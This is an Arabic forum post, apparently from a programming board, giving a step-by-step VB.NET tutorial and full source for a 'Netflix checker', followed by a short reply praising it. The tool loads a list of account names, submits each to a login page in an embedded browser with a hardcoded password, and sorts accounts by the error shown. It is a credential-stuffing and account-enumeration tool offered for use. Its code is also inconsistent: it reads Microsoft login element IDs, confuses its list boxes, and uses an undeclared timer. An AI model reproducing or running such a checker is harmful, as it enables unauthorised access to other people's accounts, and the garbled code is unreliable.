[مصمم هاوي]

(08-05-20, 07:26 AM)محمد ايمن كتب :

السلام عليكم ورحمة الله وبركاته

ا=

شرح عن صنع برنامج فحص متحان نت فيلكس

بس اولا صلي علي النبيّّّّّّّّّّّّّّّّّّّّّّ

-----------------------------------------

اولا: نحتاج ادوات

وهي كالتالي

(ListBox3)

(Button3)

(Timer2)

(WebBrowser1)

(TextBox1)

--------------------------

اولا: نسمي بوتن1 باسم Add List

وهو المسؤول عن إضافة  اللستات الموجود فيها المتحات

---------------------------------

ثاني زر نسميهStart

-----------------------------------------

و الثالثStop

----------------------------------

ونكتب جو ال WebBrowser1 اسم الموقع المطلوب فحص متحاتو زي كد

https://www.netflix.com/

------------------------------------------

ونضغط علي تايمر 2

هنلاقي جمله اسمهاlnterval

وجمبها رقم 100او1000

احنا نخليه بدل 100او1000نخليه 2000

و تايمر1 نخليها فيه 100

------------------------------------------------------

وقت اضافه الاكواد

اولا نبدا بكود تايمر1 وهو كالتالي

PHP كود :

   On Error Resume Next
        If Me.WebBrowser1.ReadyState <> WebBrowserReadyState.Complete _
          AndAlso WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText <> "" Then
            Timer1.Stop()
            TextBox1.Text = (WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText)
            TextBox1.Text = WebBrowser1.Document.GetElementById("idTD_LockoutError").InnerText
            TextBox1.Text = WebBrowser1.Document.GetElementById("idTd_PWD_ErrorMsg_Username").InnerText
            Select Case WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText
                Case "أدخل"
                    ListBox2.Items.Add(ListBox1.SelectedItem)
                    TextBox1.Text = Nothing
                Case "لاينتمي الاميل الئ اي حساب"
                    ListBox3.Items.Add(ListBox1.SelectedItem & "@Hotmail")
                    TextBox1.Text = Nothing
                Case "خطا في التسجيل"
                    TextBox1.Text = Nothing
            End Select
            WebBrowser1.Navigate("netflix.com")
            ListBox1.SelectedIndex += 1
        End If 


و الان كود تايمر2

PHP كود :

   Try
            Dim i As Integer
            i = ListBox1.SelectedIndex
            i = i + 1
            If i > ListBox1.Items.Count - 1 Then i = 0
            ListBox1.SelectedIndex = i
        Catch ex As Exception

        End Try 


و الان كود Add List

PHP كود :

Dim Hussaien_Ahmed As New OpenFileDialog
        Hussaien_Ahmed.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*"
        Hussaien_Ahmed.Title = "File txt"
        If Hussaien_Ahmed.ShowDialog = Windows.Forms.DialogResult.OK Then
            Dim lines() As String = IO.File.ReadAllLines(Hussaien_Ahmed.FileName)
            ListBox1.Items.AddRange(lines)
        End If 


والان كود Imports او الفضاء وهو

PHP كود :

Imports System.IO
Imports System.Net 


و الان كود Start

PHP كود :

Timer1.Start()
        Timer2.Start() 


و اخر كود وهو كود Stop

PHP كود :

Timer1.Stop()
        Timer2.Stop() 


ودي الاكواد بالكامل لو عايز تمسح كل الاكواد و تحطها 

PHP كود :

Imports System.IO
Imports System.Net

Public Class Form1
    Private Sub ListBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListBox1.SelectedIndexChanged
        If WebBrowser1.ReadyState = WebBrowserReadyState.Complete Then
            On Error Resume Next
            For Each ALI As HtmlElement In WebBrowser1.Document.GetElementsByTagName("Input")
                If ALI.GetAttribute("type") = "text" Then
                    ALI.InnerText = ListBox2.SelectedItem
                End If
            Next
            For Each A As HtmlElement In WebBrowser1.Document.GetElementsByTagName("Input")
                If A.GetAttribute("type") = "password" Then
                    A.InnerText = "232DSWE2W"
                End If
            Next
            WebBrowser1.Document.GetElementById("login").InvokeMember("Click")
            Timer1.Start()
        End If

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        On Error Resume Next
        If Me.WebBrowser1.ReadyState <> WebBrowserReadyState.Complete _
          AndAlso WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText <> "" Then
            Timer1.Stop()
            TextBox1.Text = (WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText)
            TextBox1.Text = WebBrowser1.Document.GetElementById("idTD_LockoutError").InnerText
            TextBox1.Text = WebBrowser1.Document.GetElementById("idTd_PWD_ErrorMsg_Username").InnerText
            Select Case WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText
                Case "أدخل"
                    ListBox2.Items.Add(ListBox1.SelectedItem)
                    TextBox1.Text = Nothing
                Case "لاينتمي الاميل الئ اي حساب"
                    ListBox3.Items.Add(ListBox1.SelectedItem & "@Hotmail")
                    TextBox1.Text = Nothing
                Case "خطا في التسجيل"
                    TextBox1.Text = Nothing
            End Select
            WebBrowser1.Navigate("netflix.com")
            ListBox1.SelectedIndex += 1
        End If

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Try
            Dim i As Integer
            i = ListBox1.SelectedIndex
            i = i + 1
            If i > ListBox1.Items.Count - 1 Then i = 0
            ListBox1.SelectedIndex = i
        Catch ex As Exception

        End Try

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim Hussaien_Ahmed As New OpenFileDialog
        Hussaien_Ahmed.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*"
        Hussaien_Ahmed.Title = "File txt"
        If Hussaien_Ahmed.ShowDialog = Windows.Forms.DialogResult.OK Then
            Dim lines() As String = IO.File.ReadAllLines(Hussaien_Ahmed.FileName)
            ListBox1.Items.AddRange(lines)
        End If

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Start()
        Timer2.Start()

    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Timer1.Stop()
        Timer2.Stop()
    End Sub
End Class 


كلمة شكر تكفي

جهد متميز
وعذرا لم أستطع قراءة كتابتك لوجود كثير من الأخطاء الإملائية؛ وعليه اصلحت الذي استطعت قراءته فقط.